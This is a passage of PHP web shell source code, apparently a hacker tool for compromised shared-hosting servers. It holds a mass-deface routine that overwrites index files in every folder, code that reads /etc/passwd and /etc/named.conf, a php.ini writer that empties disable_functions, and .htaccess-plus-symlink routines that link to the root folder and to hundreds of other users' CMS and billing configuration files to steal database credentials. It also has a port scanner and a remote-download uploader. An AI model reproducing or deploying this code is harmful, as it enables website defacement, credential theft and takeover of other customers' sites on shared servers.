if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query."; <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_Fetch_array($hasil);$msg .= "<tr>";for($j=0;$j<@mysql_num_fields($hasil);$j++) {
if($rows[$j] == "") $dataz = " ";
else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";}
else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query."; <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } }
else {$query = "SHOW PROCESSLIST;
SHOW VARIABLES;
SHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlHost' value='".$sqlHost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><Textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</Textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>Available Databases</th></tr>";$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_Fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
$msg .= "<tr><td><a href='?y=".$pwd."&x=mysql&sqlHost=".$sqlHost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";}
@mysql_close($con);} else $msg = "<p style='Text-align:center;'>Can't Connect</p>";echo $msg;} else{?>
<br><center><div class="mybox"><form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:320px;"> <tr><th colspan="2">Connect to MySQL Server</th></tr> <tr><td> Host</td><td><input style="width:220px;" class="inputz" type="Text" name="sqlHost" value="localHost" /></td></tr> <tr><td> Username</td><td><input style="width:220px;" class="inputz" type="Text" name="sqluser" value="root" /></td></tr> <tr><td> Password</td><td><input style="width:220px;" class="inputz" type="Text" name="sqlpass" value="Password" /></td></tr> <tr><td> Port</td><td><input style="width:80px;" class="inputz" type="Text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form></div></center>
<?php }}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='Text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>File Name</td><td><input class ='inputz' type='Text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Source Code</b></th><br></table>
<Textarea class="inputzbut" style='outline:none;' name='index' rows='10' cols='70'> </Textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$Code=base64_enCode($_POST[index]);$indx=base64_deCode($Code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}
exit;
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("<center><b>[-] Can't Read -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
Foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'conkill'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=conkill" method="post">
<p> </p>
<center><body bgcolor=black> <td> <form method=post><input class="inputzbut" type=submit name=ini value="Use to Generate PHP.ini" /></form> <br><br>
<form method=post><input type=submit class="inputzbut" name="usre" value="Use to Extract Username" /></form></td>
<?php
if(isset($_POST['ini']))
{
$r=fopen('php.ini','w');
$rr=" disbale_functions=none ";
fwrite($r,$rr);
$link="<a href=php.ini><font color=silver size=2 face=\"Salsa\"><u>Success, Click Here!</u></font></a>";
echo $link;
}
?>
<?php
if(isset($_POST['usre'])){
?><form method=post>
<br><Textarea class="inputzbut" rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}
?></Textarea><br><input type=submit class="inputzbut" name=su value="Let's Start" /></form>
<?php } ?>
<?php
error_reporting(0);
echo "<font color=red size=2 face=\"Salsa\">";
if(isset($_POST['su']))
{
mkdir('tamvan',0777);
$rr = " Options all
DirectoryIndex Sux.html
AddType Text/plain .php
AddHandler Server-parsed .php
AddType Text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$g = fopen('tamvan/.htaccess','w');
fwrite($g,$rr);
$tamvan = symlink("/","tamvan/root");
$rt="<a href=tamvan/root><font color=silver size=3 face=\"Salsa\">Symlink<br></font></a>";
echo "Successfully, Check Link Given Below For / Folder Symlink <br><u>$rt</u>";
$dir=mkdir('tamvan',0777);
$r = " Options all
DirectoryIndex Sux.html
AddType Text/plain .php
AddHandler Server-parsed .php
AddType Text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$f = fopen('tamvan/.htaccess','w');
fwrite($f,$r);
$consym="<a href=tamvan/><font color=silver size=3 face=\"Salsa\">Configuration Files</font></a>";
echo "<br>The Link Given Below For Configuration File Symlink<br><u><font color=red size=2 face=\"Salsa\">$consym</font></u><br><br>";
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
foreach($usr as $uss )
{
$us=trim($uss);
foreach($configuration as $c)
{
$rs="/home/".$us."/public_html/".$c;
$r="tamvan/".$us." .. ".$c;
symlink($rs,$r);
}
}
}
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<div class=content>';
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>Input Here :</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="Hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>';
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'webwhois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=webwhois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style='color: white'>Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><center>';
echo '
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site Target </td><td>:</td><td><input type="text" name="site" size="50" class="inputzbut" value="" />   <input class="inputzbut" type="submit" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not Add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class='sc2'>Scanning [ $site IP $ip_port ] ... </div>
<div class='tit'> <br /><br />|-------------- Port Server --------------| <br /></div>
<div class='ru'> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class='tit'><br /><br />|-------------- Domain Info --------------| <br /> </div>
<div class='ru'>
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class='tit'> <br /><br />|-------------- Network Info --------------| <br /></div>
<div class='ru'>
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class='tit'> <br /><br />|-------------- Subdomains Server --------------| <br /></div>
<div class='ru'>
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class='tit'> <br /><br />|-------------- Site Server --------------| <br /></div>
<div class='ru'>
<pre>".sws_site_ser($site)."</pre> </div>
<div class='tit'> <br /><br />|-------------- END --------------| <br /></div>";
flush();
}
echo '</center>';
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'passhash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<div class=content>';
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash Generator</th></center></tr>';
echo '<tr><td><b>Input Here :</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="Hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>';
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "File Uploaded To $pindah";
}
else $msg = "Failed To Upload $fname";
}
else $msg = "Failed To Upload $fname";
}
elseif(isset($_POST['uploadURL'])){
$pilihan = trim($_POST['pilihan']);
$wURL = trim($_POST['wURL']);
$path = magicboom($_POST['path']);
$namafile = Download($pilihan,$wURL);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "File Uploaded To $pindah";
}
else $msg = "Failed To Upload $namafile";
}
?>
<Form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/Form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<?php
if($_POST['go'])
{
$updir = $_POST['updir'];
$updir = str_replace("\","\",$updir);
$updir = str_replace("//","/",$updir);
$nbr_uploaded =0;
$files_uploded = array();
$path= '';
$target_path= $path . basename($_FILES['upfile']['name'][$i]);
For ($i = 0; $i < count($_FILES['upfile']['name']); $i++)
{
if($_FILES['upfile']['name'][$i] != '')
{
move_uploaded_file($_FILES['upfile']['tmp_name'][$i], $target_path . $_FILES['upfile']['name'][$i]);
$files_uploded[] = $_FILES['upfile']['name'][$i];
$nbr_uploaded++;
echo "<br /> <center> <font face='Salsa' color='red'>"
.basename($_FILES['upfile']['name'][$i])
."</font><font face='Salsa' color='silver'> Was Uploaded Successfully </center></font>";
}
else "<br /> Sorry ".basename($_FILES['upfile']['name'][$i])." Can't Be Upload :( !";
}
}
?><center> <br> <br>
<Form action="" method="post" enctype="multipart/Form-data" name="uploader" >
<Form enctype="multipart/Form-data" method="POST">
<center><input type='file' name='upfile[]'><br/></center>
<div id='uploadInput'></div>
<input type='hidden' name='updir' value=''/>
<br/>
<center><font color="black"> <input type='submit' class="inputzbut" value='Upload Files' name='go'></font> </p></td></center>
</Form>
<tr><td colspan="2"><input type="Text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></Form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload From URL</th></tr>
<tr><td colspan="2"><Form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>URL</td><td><input class="inputz" type="Text" name="wURL" style="width:250px;" value="http://www.some-Code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="Text" class="inputz" style="width:100%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="WWget">Wget</option>
<option value="WLynx">Lynx</option>
<option value="WFread">Fread</option>
<option value="WFetch">Fetch</option>
<option value="WLinks">Links</option>
<option value="Wget">GET</option>
<option value="wcURL">cURL</option>
</select></td><td colspan="2"><input type="submit" name="uploadURL" class="inputzbut" value="Go" style="width:246px;"></td></tr></Form></table></td>
</tr>
</table>
<div style="Text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'configs'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=configs" method="post">
<p> </p>
<center><Textarea cols="150" rows="17" name="passwd" class="inputzbut"><?php echo file_get_contents('/etc/passwd'); ?></Textarea>
<p><input name="cat" class="inputzbut" size="100" value="Start" type="submit"></p></center>
</Form>
<?php
@error_reporting(0);
@set_time_limit(0);
if($_POST["cat"] && !$_POST["passwd"]==""){
echo "<center>Checking Functions ...<br>";
$functions=@ini_get("disable_functions");
if(eregi("symlink",$functions)){
die("<center><font color=red>Symlink Function is Disabled, You Can't Continue This Process !!</font>");
}
@mkdir("blackhatcode_grab", 0755);
@chdir("blackhatcode_grab");
$htaccess="
Options all
Options +Indexes
Options +FollowSymLinks
DirectoryIndex Sux.html
AddType Text/plain .php
AddHandler Server-parsed .php
AddType Text/plain .html
AddHandler txt .html
Require None
Satisfy Any
";
file_put_contents(".htaccess",$htaccess,FILE_APPEnd);
$passwd=$_POST["passwd"];
$passwd=explode("
",$passwd);
Foreach($passwd as $pwd){
$pawd=explode(":",$pwd);
$user =$pawd[0];
// Now symlink Them
@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ;
@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
